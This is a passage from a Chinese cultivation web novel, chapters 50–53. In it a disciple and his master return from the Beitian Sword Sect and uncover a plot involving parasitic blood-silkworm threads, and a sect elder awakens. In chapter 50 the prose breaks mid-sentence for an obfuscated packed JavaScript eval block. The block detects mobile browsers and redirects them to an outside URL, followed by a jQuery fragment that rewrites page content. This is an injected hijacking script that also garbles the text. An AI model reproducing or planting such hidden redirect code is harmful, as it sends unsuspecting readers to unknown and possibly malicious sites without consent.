难怪金线壮大了很多,难怪他能很容易感受到温却沧的灵力波动,难怪温却沧他看上去有些憔悴,原来…… 就这样,他醒来后对温却沧说的第一句话便是不想当他徒弟了,他听了该有多难过。 应夏忍了一下,没忍住,坐起身抱住了温却沧的脖子,却没想到身体没什么力气,整个人半扑进他的怀里。 他颊间飞上一抹淡红,努力压下那点别扭,低着头说:“师父,是我错了,以后不会再让你担心,对不起。” “师父,你也不许怪你自己,你是天底下最好的师父!”应夏没怎么安慰过人,顿了顿,笨拙地抬手拍拍他的肩膀道,“你比邢燕的师父还要好!” 应夏靠着温却沧的脖颈,感觉到他的喉结滑动了一下,便感觉到自己的身后有双温暖的大掌附上来,将自己往怀中按了按。 然后听到一声轻轻的笑叹,“没想到,还要你来安慰我。” 温却沧将应夏半抱回床榻上,调整了一个让他靠着舒服的姿势,说:“那天,你真的把我吓坏了。” 他修长洁白的手指蹭过应夏的脸颊,“你是我第一个徒弟,我却没有保护好你,我很自责。” 应夏一动不动,乖巧地看着他。 “玉衡长老有句话说得对,我还是太年轻了。” 就算同为化神期,二十多岁与一百多岁,也差着一些经年累月的沉淀。 应夏眨了眨眼睛,却说:“可是,若你不是现在的你,或许我也不会成为你徒弟。” 温却沧一怔。 “你怀疑你自己,甚至否定你自己,这些我都不管。” 应夏矜贵地抬了抬下巴,伸出手指点了点他的胸膛,“但你不该怀疑我看人的眼光,是我选择你来做我的师父。” 温却沧闻言,忍不住绽开了一个笑容,道:“谢谢你选择了我。” 常看见他笑,可这一次却让应夏移不开视线。 眉目舒展,桃花眼里似花落满春水,搅动一池星光,那被天道偏爱的俊逸容颜,只一眼,就将这世间万千风月都比了下去。 愣神间,温却沧身上竟出现几道彩色霞光。 ——他这是顿悟了?! 应夏回过神来,一脸不可置信,这也行? 周围的灵气蜂拥而至,涌进温却沧的身体里,片刻便将几近干涸的灵力补充满,甚至还让温却沧的修为又提升了不少。 应夏震惊之余还有些无语,温却沧从顿悟中回过神来,便看见自家徒儿气呼呼地盯着自己,面色不善。 温却沧揉乱了应夏的头发,笑得又温柔又放肆。 应夏……应夏毫不客气地将人撵出了房门,甚至还用上了金线,直到推出门外后,还用金线小小地打了一下他。 温却沧看着手心那道浅淡的红痕,收拢手指握紧,大笑离去。 应夏第一次直观感受到了所谓的“天才”,一左一右还有邢燕说的没错,温却沧的资质也太过妖孽了!这样都能顿悟,莫非他真的是什么仙人转世? 想到了什么,应夏眯起了眼睛。 - “诶?你们这就要回去了?”邢燕依依不舍地拽着应夏的袖子,抬起头用水润的大眼睛看着他,道,“不能再多留一会儿吗?” 应夏蹲下身直视邢燕,笑着刮了一下她的鼻梁,“再不回去,就赶不上玄衍宗秘境开启啦。而且已经在北天剑宗待了够久了,你要是舍不得我的话,可以用纸鹤给我传信,我一定会回的。” 邢燕闻言赶紧应道:“好,那你一定记得,我也会努力修炼的。” 说完,她才松开手,回到邢莫启身边。 邢莫启依旧那副冷霜如雪的模样,他见应夏直起身拍了拍手,上前将一枚刻着北天剑宗字样的令牌递给应夏。 应夏看着那枚眼熟的令牌,这不是邢燕那块被邢莫江拿走的令牌么? “宗主这是?”他疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736122|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑地问。 邢莫启微微颔首,道:“你是北天剑宗的恩人,此前拒绝了剑宗的好意,但此令请务必收下。这令牌认主后,不仅有出入北天剑宗各处的权限,还是一件印有北天剑宗阵法的法器。若你遇难,往其中注入灵力后可布下十二剑杀阵,化神期修士难敌。” 应夏看了眼身边的温却沧,见他弯了下唇角,便收下令牌。他余光瞥见邢燕似乎松了一口气,略有疑惑,并未细想。 与师父踏上回程之路,应夏看着眼前快速掠过的景色,不禁感慨道:“没想到,这一趟下山经历了这么多事。” 应夏突然一拍手掌,惊道:“哎呀!完了完了!” 温却沧连忙回过头问:“怎么了?” “都忘了要和剑宗那些人切磋了!”应夏苦着一张脸。 温却沧伸手弹了一下他的额头,“好了,回去还有秘境等着你呢。” 应夏哼哼两声应下,觉得有些无聊便将剑宗的令牌拿出来把玩,金线探出来,一会儿将令牌捆了个结实,一会儿又抛着令牌玩。 “师父,那条仓冥石脉最后怎么处理?” 温却沧见他随意抛耍着令牌,纵容道:“毁了。” 应夏:“?!” “这是宗主他深思熟虑后才决定将仓冥石脉捣毁,能养魔且可实现愿望一事,带来的弊大于利。千百年来,没有仓冥石,修仙界也能对抗魔。” 温却沧还道,“北天剑宗也下令,即日起,十二剑峰每月需轮流派出弟子下山除魔,大家都无异议。” 应夏惊讶的不是仓冥石脉被毁一事,而是惊讶于邢莫启竟然有如此魄力。 真不愧是北天剑宗的宗主,看来不止是剑术了得,他倒是有些低估了邢莫启。 应夏暗叹着,不过兴致也就那么一会儿,很快便把这件事抛至脑后,转而问起玄衍宗秘境的事情。 “师父,那个秘境是什么情况你跟我说说呗?” “玄天秘境是玄衍宗开山祖师留下的秘境,用以宗门内弟子修行,分为外层与里层,一般只有金丹期以上弟子才可进入里层。里层更危险,但资源也最丰富。” “玄天秘境三年开一次,本来以为今年是赶不上了,没想到……”温却沧看向应夏突然抓住令牌,目光炯炯地盯着他,他忍俊不禁道,“没想到乖徒儿修炼如此神速,这才不得不早日回去,以免耽误你大显身手。” 应夏勾了勾唇,手指灵活地将令牌翻着面,刚想开口说什么,他蓦然凝神,将令牌正握在掌心,蹙起了眉。 温却沧注意到他神色变化,问:“又怎么了?” 应夏没说话,挑了下眉,伸出金线探入令牌中,然后从令牌中拎出了一个乾坤袋。 “我说怎么我收下令牌时,邢燕在那里松了口气,原来她是打着这个主意。” 应夏摸了摸袋子,“原本他们为我用了许多名贵灵药还有灵植,早就够抵了,我都拒绝好几次了,居然想到塞在令牌里。” “既然是一片心意,你便收下吧。” 大概是一些名贵法器灵石灵植丹药之类,以北天剑宗的底气也给得起,温却沧想着。 应夏打开乾坤袋看了看,倒吸一口凉气,震惊地和温却沧说:“……他们往袋子里塞了一个小空间,还有一整条灵脉!” 温却沧:“……” 50-60 第51章 第 51 章 “是沈经白主动提出的。…… “昊英道君是承受因果之人, 如果他死了,那么因果将会落在他们两个……不,我们三人身上。所以他俩慌了, 三个化神期的灵力哺育还不够,得再需要一个人。” 温却沧突然收紧手指,握得应夏有些发疼。 应夏心中有猜测, 便道:“所以他们选中了掌门?” 开阳长老沉默了一阵,抬眸看向温却沧, 说:“不,不是他们选中,而是沈经白主动提出的。” 应夏:“?!” 开阳叹了口气,继续叙述道:“那天, 是沈经白来找我,他似乎知道了我是拂叶道君安排的卧底一事,便想要让我帮他在自己身上种下血蚕丝……” 那日,趁着玉衡和摇光去查看昊英道君的情况, 沈经白找上了开阳。 “你疯了?”开阳皱着眉直摇头, “你师父……你想想拂叶道君, 他怎么会同意你这么做,而且又是为什么?!” 沈经白眉眼间皆是坚定与执着,他道:“师父的留影记录我都看了……他还没有找到破解血蚕丝的办法,入魔……这种方法不可行, 我想要继续研究。可是我手上没有血蚕丝, 若是贸然取来一定会被他们发现。” 开阳直接打断道:“所以你就想着自己种下血蚕丝?不行, 这不行,若是连你都……我怎么对得起拂叶道君?” 沈经白安抚道:“我自有分寸。开阳长老,我不仅仅想要报仇, 也想要完成师父的遗愿。” 开阳一时无言,他明白,沈经白是想要救那些被种下血蚕丝的玄衍宗弟子们。 “我知道你想做什么,你若是想要研究血蚕丝,我可以帮你拿来,也可以想办法帮你隐瞒。”开阳盯着他说道,“唯独在你身上种血蚕丝一事,不行。” 沈经白似乎对开阳的拒绝早有预料,他没有着急,而是说起了另一件事情:“知道师父逝去的真相后,我一直在想,他为什么不去唤闭关的道君出关,或者召回云游的道君们。他也是个渡劫期道君,为什么像是害怕那两个畜生一样,得将你派去潜伏身边,小心翼翼地调查有关血蚕丝的事情。” “而就在来找你之前,我想通了。”沈经白长舒一口气,看向开阳的眼神无比明亮坚定,“因为师父在乎的是整个玄衍宗,他害怕一旦强制行动之后,玄衍宗弟子,那些被种下血蚕丝的无辜弟子们会有性命之危。更害怕此事一旦暴露出去,会有人跟昊英道君一样,将血蚕丝这种东西拿出去研究,祸害修仙界。” 开阳摸着胡子点点头,血蚕丝这东西一旦传出去,将会给整个修仙界带来巨大的浩劫,所以不如就先控制在宗门内部。 “我身为玄衍宗的掌门,自然有这个责任,守护好玄衍宗,守护好那些无辜不知情的弟子们。” 开阳显然有些被他说动了,但还是坚持自己的想法,“就算这样,你也不必……” 沈经白抬手止住开阳后头的话语,反问道:“你之前说昊英道君快不行了,玉衡摇光他们一定会不择手段吊着他的命,让他继续承受因果。你们三人的灵力不够,那么必然需要找别人。你觉得他们会去找谁?” “这……”开阳摇了摇头,他们二人对他仍有防备,并没有告知后续的计划,但他这几天总觉得心里不安。 天枢天权几位长老自然不在范围,而沈经白身为掌门可不能出事,那么…… 沈经白冷笑一声,“他们会去找我的师弟,温却沧。” 开阳沉默了,虽然他不想赞同,但事实似乎确实如此。 “以师弟的性子,他不会察觉不到体内的异常,毕竟他是……”沈经白顿了顿,“再加上师弟已经碍了他们的事,他们肯定想借此机会除掉他。” 开阳闭了闭眼,艰难道:“温却沧为人谨慎,不会……” 沈经白却摇头道:“师弟即便天赋惊人,但也打不过两个化神期,更何况他们有的是别的法子。” “我们可以想办法帮他。”开阳说。 “是,我们当然可以。但是玉衡和摇光不会罢休的,失去了师弟这个目标,他们又会去找谁呢?总要有人来当这个续命药。” “可他们也不会同意让你来,毕竟你是掌门,若是你出了什么事,不止玄衍宗,整个修仙界恐怕都会知道。” 沈经白知道开阳长老这是有些同意他的想法了,“不,他们会同意的。” “他们想让我继续当这个掌门,又想要对我有所牵制,所以不会拒绝在我身上种下血蚕丝这个提议的,只是有顾虑罢了。” 沈经白道:“只要消除这个顾虑便可。” 开阳沉思良久,才点点头,“……既然你主意已定,我便从旁协助你。” 沈经白拱手道:“多谢。” …… 应夏疑惑道:“如何消除顾虑?” 本等着开阳长老的回答,没想到反倒是温却沧帮他解惑,“是师兄打算突破境界提升修为。” 开阳点点头:“没错,掌门当时已是化神期,若是被种下血蚕丝还要给昊英道君输送灵力,自然是吃不消的,毕竟玉衡与摇光是不会给昊英道君传太多的灵力。所以续命的灵力大多都得来自于掌门,这也是他们的顾虑。” “但若掌门是炼虚期,就不一样了。” 这就更奇怪了,如今的掌门明明还是个化神期才对。想到这里,应夏才猛地明白过来。 掌门难道是因要给昊英道君续命,所以突破至炼虚期后,修为倒退回了化神期?! 开阳瞧见应夏又愣住的神情,便知他想到了,说:“没错,是因为血蚕丝所以掌门如今仍是化神期。” 应夏回神看了眼依旧沉默的温却沧,不解道:“可是,化神期至炼虚期,岂是掌门想突破就这么容易突破的?” 开阳苦涩地颔首,道:“是啊,这件事哪有这么容易做到,可掌门他就是做到了,而且是在我们交谈后的三天内他便突破了。” “突破雷劫呢?” “当时是外出突破避着宗门中人的,我那时也不知道掌门会因此境界倒退……”开阳十分痛心地哀叹道。 或许就是因为沈经白强行突破,境界还未稳固就种下血蚕丝,才导致如此结果。 境界倒退修仙界历史上并不是没有出现过,应夏从传承记忆中搜罗出类似情况,但他看到那些因各种原因境界倒退的修仙者,最后都是止步于此,再也无法进益半分。 应夏感觉到温却沧拢在袖中颤抖的手,他用力握住企图稍加安抚,可似乎收效胜微。 他甚至觉得师父几乎要落泪了,可抬眸望去,那双桃花眼依旧明亮如初。 温却沧有些无奈地轻叹了一声:“师兄,他真的一点儿都没有变。” …… 玉衡笑着看向开阳,“你胆子倒是大,怎么会想到在他身上种血蚕丝的,就不怕他发现?” 开阳摸着胡子,一副胸有成竹的模样,说:“自拂叶道君死后,掌门便郁郁不得志,后来便是疯狂沉浸于修炼之中,他突破不令人惊讶,而他最后会境界倒退也不令人惊讶,毕竟……” 他故意顿了一顿,才道:“毕竟道心不稳,境界自然难以稳固。可惜了……” “沈经白发现不了血蚕丝,自然会从自己身上找原因,他肯定会将其归结于拂叶道君入魔这事。境界倒退一事他也不会告诉其他人,玄衍宗的掌门可不能出这种事。就算最后暴露了,别人也只会觉得是掌门因拂叶道君的死打击太大,根本不会怀疑到我们身上……”摇光眯起眼睛,笑着指了指开阳,“你这老家伙就是鬼点子多。” 开阳毫不介意地笑笑,突然想起一事,又露出了愁容,道:“昊英道君一事现已解决,但温却沧那边依旧紧追不舍,这可如何是好?” 玉衡也觉得颇为麻烦,啧了一声,“这事当初是你提议的,麻烦得由你来解决。” 开阳为难道:“是我考虑不周,没想到他竟然这么……不过好在他并没有调查到血蚕丝,只是在查转灵阵罢了。” 他又道:“解决这事其实也不难,只要让他把转灵阵一事摆平,不就了结了吗?” 玉衡一拍桌子,“你这什么话!让他摆平转灵阵,这不就是要摆平到我们身上吗?”毕竟是他们私下透露了转灵阵,甚至还使用过。 摇光没有玉衡那么急躁:“别着急,听他把话说完。” 因为开阳的提议,转灵阵最后的调查结果便是因为内部不良竞争,导致有人心思不正妄图走捷径所致。 断了转灵阵,也断了温却沧进行后续深入调查的可能。 应夏不经意嘟囔道:“原来这些事情都是你的主意……” 开阳伸手按了按眉心,说:“是,这些都是我做的。” 应夏立刻道歉:“对不起,开阳长老,我不是这个意思。” “我明白。”开阳放下手,看向温却沧苦笑了一下,“但也没错,我是他们的‘同谋’。损坏拂叶道君遗体,在掌门身上种下血蚕丝,还有阻挠你的调查,若说起来,这些都是我做的。” “但若能最终将血蚕丝拔除,将玄衍宗从这阴霾笼罩中救出,不论是什么事,我都愿意做。”开阳长老说道,“即便让我去做恶事,即便天打雷劈、神魂俱灭。” 话语振聋发聩。 应夏怔住,他敬佩开阳长老没有以“一切都是为了大局”等来解释自己的行为,而是知道自己做的是恶行,也接受其结出的恶果。 “长老高义。” 第52章 第 52 章 “我只想无拘无束。”…… “师祖、掌门, 甚至开阳长老,都是为了想要找出解开血蚕丝之法,才隐忍至今。”应夏看了眼温却沧, 然后问道,“是不是只要有了这解决之法,就能杀了那玉衡和摇光了?” 开阳长老心神微动, 他看向应夏的目光灼灼,甚至有些颤抖着道:“你、你知道如何拔除血蚕丝了?” 应夏点点头。 开阳长老似激动了一瞬, 又很快平静下来,他追问道:“是什么法子?若又是需要使用魔气,那可不成。” 应夏感觉到自己握着温却沧的手,被他反拢在手心里, 略有怪异地抽了抽手,没抽出来,便作罢。 “与魔气无关,是功德金光。” 正好他们在应夏的小空间里, 他便将小石头唤了出来, 说道:“我用功德金光与小石头的灵力结合, 研究出来可以拔除血蚕丝的符咒。只不过痛苦是免不了的……但可以用丹药迅速恢复伤势修复经脉,并不会留下祸根。” 开阳看见了小石头,立马便知道这是一个罕见的灵,他没有询问小石头的来源, 反而是向应夏反复确定符咒的可行性。 “……没想到困扰我们多年的方法, 竟是被你研究出来了。”开阳长老抚着胡子感叹道, “若是真的需要依靠功德金光,那么我们再继续这么下去多少年都不够,真是……天道无情啊!” 应夏有些听不得这个, 抿了抿唇反驳道:“天道怎会无情?无情的话,便不会让血蚕丝有可解之法。” 温却沧捏了捏他的手指,唤了他一声。 “无妨,应夏做到这般,已是玄衍宗的大恩人。”开阳长老并不介意。 闻言,应夏撇撇嘴,垂头又固执道:“我不是什么大恩人,也不喜欢你们想成,我来玄衍宗就是因为天道,天意如此。” 他用力抽回了手,背在身后,抬起头,那一双澄澈的鹿眸里头熠熠生辉,他道:“我这么说或许有些无礼,但是我是因敬重开阳长老,所以才不愿意说那些假大空的话。” “我成为师父的徒弟,入了这个玄衍宗,都是我自己的意愿。追寻转灵阵、调查血蚕丝,甚至想要找出那些令人愤怒的幕后黑手,也是因为我自己想,因为我看不得他们这么虐待伤害灵!” “大恩人什么的,我不需要也不喜欢。” 之前仓冥石一事成为北天剑宗的大恩人,这会儿又要因血蚕丝一事成为玄衍宗的大恩人,可应夏行事并非想要这个,他也不喜欢这个名头。 应夏本来是想搅浑水的,不过事情发展到现在,他反而不想这么做了。 原因也并非他突然良心发现或者什么,只是他乐意,不论他的做法在别人看起来是正派还是反派,应夏只做他想做的事情。 应夏低声说:“我只想无拘无束。” 魔生来自由,即便如今他似乎做了一件好事,可他也不想被这个好事拘束住,好像,以后他就一定要做一个好人。 可是对魔来说,本就没有什么好坏之分,只有他喜欢或者不喜欢,乐意或者不乐意。 北天剑宗那回就算了,毕竟他也不是剑宗弟子,总要离开的。可玄衍宗就不一样了,若是等这件事了结,玄衍宗弟子们都像北天剑宗那些人那样,用一双双纯粹干净的眼睛带着仰慕感恩地看着他,应夏有些接受不了。 倒不是他自恋,裴道远、穆槐序便是如此,甚至开阳长老知道他能拔除血蚕丝后,看他的眼神也更加热切。 应夏觉得这些眼神太重了,是束缚,他不喜欢。 开阳长老明显有些愣神,没想到应夏会说出这么一番话,他看向他的眼神微微变了些,还有些觉得自己刚才那话过于鲁莽,冒犯了这位难得拥有一颗赤诚之心的少年。 温却沧伸手按住了应夏的肩膀,对开阳长老说道:“关于应夏研制出这个符咒一事,还请开阳长老暂时保密,便说是……” 应夏有些惊诧于温却沧竟能明白他内心的真实想法,明明刚才的话他自己都觉得语无伦次、不知所云。 等温却沧垂目看向他的时候,应夏连忙接道:“便说是师祖的功劳吧,他在手记里有记载。” 开阳看着面前的师徒二人,不由得欣慰一笑,点头答应。 温却沧又道:“既然如此,便可以开始着手解决这件事情了。” “不错。” …… 首先,开阳用借口拖住玉衡与摇光,温却沧去找沈经白告知他已有解血蚕丝之法。 “当真?”沈经白有些不敢相信。 温却沧想了想,还是将小石头拿出来,告诉他是由功德金光与灵的灵力制成的。 “功德金光?难道是……”沈经白想到了他师弟唯一的徒弟。 温却沧却说:“不,是师父,是师父留下的功德金光。” 闻言,沈经白怔住了,不久便无声落下泪来,他抓住温却沧的手,半晌,才道出一句:“……如此,甚好。” 温却沧叹息一声,抹去他的泪水,说:“师兄,你受苦了。” 很快,沈经白便缓过劲来,他目光灼灼地看着温却沧,道:“那么,是时候动手了。” “可要先帮你拔除血蚕丝?” “不,那样他们会有所怀疑,等事情结束后也不迟。” 沈经白已恢复了玄衍宗掌门的神态,他十分冷静地说:“此事牵扯颇多,需召集天枢、天璇、天玑、天权四位长老一起商议。” 被种下血蚕丝的玄衍宗弟子很多,如何在不被他们察觉的情况下拔除血蚕丝,是他们需要商议的一点。 是的,不仅是沈经白,温却沧和开阳他们都一致认为,不能让弟子们知道血蚕丝一事。不是为了保存玄衍宗颜面,而是为了以防万一,决不能让修仙界知道还有血蚕丝这种泯灭人性的东西存在! “确实,不过首先要将玉衡与摇光二人先控制起来。” 应夏的小空间再次被征用了。 这回,掌门与四位长老,还有温却沧与开阳,都在其中。 应夏并未参与,他正忙着和小石头一起制造解血蚕丝的符咒呢,玄衍宗里有那么多人,符咒都得准备至少上千张。 他们似乎聊了很久,等应夏再次看到温却沧,已是三天之后。 这显然耗费的时间太多,应夏不禁问他:“怎么商议了这么久?难不成是四位长老不相信血蚕丝一事?” 温却沧笑着摇摇头,道:“不是,有师父的咒石与手记,还有师兄与开阳长老的佐证,他们很快就相信了。” “那怎么讨论了这么久?”应夏不解,就算商量玉衡和摇光那俩人的死法,也没必要这么久。 “自然是商议如何解除血蚕丝。” 应夏瞥了眼桌上堆成一叠的符咒,奇怪道:“不就是用符咒解除么?” “是用符咒,不过不能让弟子们知道血蚕丝的存在,为此才在如何使用符咒上花费了些许时间。”温却沧拿起灵茶喝了一口,道,“我们决定启用师父的宫殿。” 应夏瞪大了眼睛。 “过几天便会以拂叶道君宫殿秘境开放为由,让所有弟子分批进入宫殿探险,将终点的书房用阵法与咒术加以改造,弟子们在其中会拔除血蚕丝,而后才能顺利通关。” 温却沧拿起桌上的一张符咒,“届时,便会将你所制符咒用以打造终点房间,此事将由天枢与天权长老全权负责,你也不必忧心还要画千余符咒了,这些已然够用。” 应夏不禁松了口气,这倒是不错。 温却沧伸手摸了摸他的脑袋,温声道:“这几日辛苦你了,耗费如此多的心力。” 精纯的灵力从他的手心涌入应夏的经脉之中,顿然感觉到一切疲惫消散,经脉甚至都充实了不少。 这种感觉十分舒适,像是被暖洋洋的阳光包裹着,轻抚他的躯体。 所以当温却沧松手时,应夏竟是带着些眷恋地迎上去,抓住他的手贴住自己的脸颊,不自觉地蹭了蹭。 因此举,温却沧愣了愣,一时忘记了收手。 等应夏回过神,蓦地红了耳根,快速撒手,眼睛一眨不眨地盯着桌面的符咒,暗自懊恼。 温却沧忍俊不禁,摩挲了几下指腹笑开,直到见自家徒弟快要将脸埋进那堆符咒之中,才慢慢收敛。 应夏赶紧转移话题道:“玉衡和摇光怎么样了?” “已经被锁在刑堂的暗牢之中了,等血蚕丝完全消除之后,便轮到处理他们了。”说这话时,温却沧面上的笑容不变,但应夏却听得出他言语中的冷意。 “昊英道君呢?” 温却沧一顿,道:“师兄与开阳长老去见他了,确认他重伤不醒后,便在洞府外设了禁制,也等血蚕丝一事了后,再做打算。” 应夏眨了眨眼睛,有些不太真实地喃喃道:“……就这么结束了?” 虽然血蚕丝还没开始拔除,但后面的事情都已安排妥当,玉衡与摇光二人被抓,昊英道君被困,事情已经能预见结局。 正因如此,应夏觉得有些不太真实,这个结局比起北天剑宗那次平静许多。 好像还没开始就结束了。 这么想着,应夏的额头一痛,是温却沧屈指弹了一下,应夏不满地瞪着他。 温却沧像是知道他在想什么,说道:“若是真的能平静收场,自然再好不过,不是所有结尾都要像北天剑宗那次那般轰动全宗门,更何况那时候的结尾并不好,我不希望有人受伤。” 应夏知道师父是在担心自己,捂着额头点了点头。 可是真的能够这么平淡的收尾吗?应夏这几天制作符咒有些心神不宁,不是他不相信自己的符咒,毕竟都在自己身上试过好几次。 他只是有些隐隐担忧,玉衡和摇光真的就这么容易被抓住了吗?他们应该会考虑到这种情况吧?就没有留什么后手么? 应夏想起邢莫江最后的入魔与自爆,然后又摇头将这个想法甩出去。 被锁在刑堂暗牢里,他俩即便入魔也无济于事,毕竟刑堂的暗牢本来就是关押入魔弟子所设。而且玉衡和摇光这两个惜命的很,更不会做出自爆的行为。 看来,应该是自己多虑了。 第53章 第 53 章 昊英道君醒了。 因为开启拂叶道君宫殿作为拔除血蚕丝秘境, 所以听雪峰上热闹得很,许多玄衍宗弟子交流仰望这座华美的宫殿,互相讨论着里面闯关的心得。 “靠!我已经第三次进去了, 但是还是没有到最后一关,我气死了,明明我已经很小心了!” “拂叶道君设的关卡好难好变……咳咳咳, 我也是第二回了。” “而且每一次进去都不一样,搞得前几次进去的经验都没用!可恶!” “真的有人能第一次就通过的吗?” “有啊, 天枢长老门下那个谁不就一次通关吗?” “诶诶,我也知道,他那是运气好!才走了两关就到终点了!” “两关?我可是遇到了五关!!” “什么?!这还看运气的吗?完了完了,我可倒霉了……” 拂叶道君的宫殿旁还坐落了几间临时搭的木屋, 里头有长老们专门安排的执事分发相关丹药。 不管是否通关,弟子们都可以去那里领取回元丹等可以恢复灵力的丹药,但每人每天只能够领取一瓶。若是通关,则可以领取三瓶并附赠三块上品灵石。 一边可以锻炼提升, 一边还能拿丰厚奖励, 这买卖可谓是稳赚不亏, 几乎所有玄衍宗弟子都来此挑战。 个别有几个落下的身上种着血蚕丝的弟子,长老们甚至还会单独拎他们进宫殿。 听雪峰这边热火朝天,但应夏并不在那里,而是和温却沧一起去了寒池。 温却沧受掌门委托去处理寒池的灵, 他将此事告诉了应夏, 让他和自己一起去。 应夏其实没有想到师父竟然会带上自己, 不过若是真要处理那灵,他知道了也必定要前去,好歹他们是同类, 也不知道温却沧会怎么处理,若是…… 寒池附近的刑堂弟子已接到消息,这次应夏是正大光明地走进去。 寒池依旧是之前那个模样,霜雪凝结围成一片池水。因着今日是白天来的,倒是见到了与之前夜晚时不一样的景色。 淡金色的阳光照射在寒池水面上,泛着粼粼波光,像是借着镀上了一层暖意似的,周身也没有夜晚时的那么寒冷刺骨。 不过寒池毕竟是寒池,那霜雪倒是没有因阳光有融化的痕迹。 应夏蹲下身,仔细查看着池水,突然觉得有些奇怪,皱眉道:“师父,有人动过寒池里的东西吗?” 温却沧很快答道:“没有,避免有人误入,甚至加强了防护。” 话音刚落,应夏猛地扎入水里,在温却沧还未反应过来之前,又快速浮出水面,他顶着一头湿发,说道:“师父,下面的灵不见了!” 温却沧短暂地蹙了一下眉,然后俯身伸出手将应夏拉上岸,使用法术将他身上的水分都蒸干。 “师父,你不着急吗?”应夏奇怪道。 那灵可是承载着大量的血蚕丝,还可以通过灵气种在别人身上!若是寒池守卫更加森严了,怎么会轻易消失不见?是谁偷走了它? 这灵要是流传出去,那可不得了了! 应夏自己都觉得大事不妙,可抬眸,温却沧并未露出半点焦急。 “难道说,师父你早就有预料?” 温却沧摇了摇头,问了另外一个问题:“你下去的时候,除了灵消失了以外,那些浸在水中灵气的血蚕丝,可否还在?” 听他这么一问,应夏才想起来那寒池底下没了灵后,竟是血蚕丝都消失得一干二净! “看你这表情,应该是不在了。”温却沧轻笑了一声,眼底却未有笑意,“不必着急,若是血蚕丝和灵一起消失不见,说明它们是一起被人传送走了。” 应夏不解:“传送?” 温却沧耐心解释道:“一般来说,寒池底下最有价值的便是灵,若是想要带走,带走灵即可,又何必连这池水里的血蚕丝都一起带走。而且,想要带走得这么干净,可不是那么简单的,即便是我,也需要花上几个时辰,去细心分离灵气中的血蚕丝。” “几个时辰,那早就能被阵法或者守卫的弟子们发现了吧?”应夏思索着推测,突然,他想到一种可能性,瞪大了双眼,“玉衡与摇光他俩在暗牢里,对血蚕丝的研究也没有太过了解,所以……是昊英道君?!” 温却沧正想点头,传讯符突然发出光芒来,他立即捏碎,符纸碎成金粉散在空气中,一道熟悉的声音从中传来。 “师弟,速来宁云峰,昊英道君醒了。” 是掌门沈经白。 昊英道君醒了?这么说,寒池中的灵与血蚕丝便是他弄走的了?他要做什么?! 应夏咬着下唇,觉得自己不好的预感似乎要应验了。 “不必担忧,我们当时自然也有讨论过,如何应对这种情况。”温却沧摸了摸应夏的头顶,安抚道,“如此,你且先回听雪峰,我去助师兄一臂之力。” 应夏皱眉道:“我也要去。” 还没等温却沧说话,应夏便抓住他的一只手,坚定道:“师父,我不是任性,我只是有些在意那个灵。你放心,我绝对不会妨碍到掌门和长老们的行动,一旦有什么危险,我也一定会躲得远远的。而且,我身上还有功德金光,或许能帮上一些忙。” “师父,时间快要来不及了,便相信我,带我去。” 温却沧看着那双清澈的鹿眸,浅笑了一下,然后便带着他一同前往宁云峰。 宁云峰,便是昊英道君闭关的地方。 当应夏远远望见宁云峰时,并没有察觉到异样,直到温却沧带着他穿过一层伪装的阵法后,才发现,原来整座宁云峰已被巨大的金色法阵笼罩。 仔细看,还能看见那法阵上是不是被碰撞击打出的空气波纹。 情况似乎不太妙。 温却沧也发现了,他低声与应夏嘱咐一句,便独自缩地成寸进入宁云峰法阵中。 应夏只跟着稍稍前进了几步便停下,因为刚刚师父跟他说要离远一些,法阵并不完全靠谱,毕竟是渡劫期道君,即便身受重伤实力也不容小觑。 为避免意外发生伤及他人,当时商议的便是要将整座宁云峰隔绝起来,不仅由几位长老一同布下阵法并加以咒术加固,还留下两位长老在拂叶道君宫殿开启、拔除血蚕丝期间看守。 当时掌门宣布的开启时间为期七天,若是七天内仍有弟子未通关,则会单独让长老去找那些弟子。 如今,拔除血蚕丝的计划实行了一半,大多弟子已清除血蚕丝,但还有一部分仍在拂叶道君宫殿内闯关。 在宁云峰的布置,就是为了提防昊英道君万一苏醒的可能。 应夏远远看着那布满咒文的法阵,似乎即便做足了准备,要对上渡劫期道君,看着也较为艰难,好在昊英道君确实重伤,不然整个玄衍宗加起来都敌不过。 不过在路上,温却沧也和他说过,若是真到了那种地步,掌门会与长老们一起唤醒闭关的其他道君。总之,决不能在这关键时候出岔子! 在法阵外的应夏很纠结,纠结自己到底要不要违抗师父的命令进去。 自己现在不过金丹期,对上化神期都有些吃力,何况渡劫期道君了,再说他也不是真正的修仙者,他可是个魔啊!若是进去了,被渡劫期道君揭露自己身上的魔气,那可就糟糕了! 但是若不进去,应夏又不甘心在阵法外面干等着,一时不知道该如何是好。 突然,应夏想到了什么,他赶紧将小石头从空间里召唤出来,问它道:“你愿不愿意代替我去里面看看?我想知道里面的情况,还有那个灵到底怎么了。不过里面肯定是十分危险的,你若是不想去也没关系。” 小石头望见应夏眼底的渴盼,无法拒绝,便说:“好呀,不过要是太危险了,我是不会靠近的。” “当然,以安全为先。”应夏高兴地蹭了蹭小石头。 小石头好像害羞了,用枝条也摸了摸应夏的脸颊,说:“我会尽力的!” 随后,小石头与应夏共享视野,它便蹦着跳入了那个守护阵法中。因为小石头本体是灵,与灵力本就亲近,所以阵法也没有挡它。 一进入法阵,抬眼便望见一大片雷云聚集,正巧霹雳闪现,吓得小石头直哆嗦。 “好可怕啊呜呜!” 应夏也没想到里面竟是这副景象,看见那雷云时已是有些后悔了,天生的恐惧从脚底漫上来,整个身体都有些僵住了。他用力咬住牙,双手握成拳,努力压制着那股惧意。 好在小石头的视力范围极广也清晰,即便是在阵法边缘,也能看清楚宁云峰上交战的人影。 左边那位带着恐怖气势且衣衫破损的人便是昊英道君,而右边站着的,正是应夏十分熟悉的温却沧。 可为什么只有他一个人呢?掌门还有其他几位长老呢?难道是他们来的太晚了?! ……这情况可相当不妙啊! 温却沧才化神期,如何对敌一位渡劫期道君? 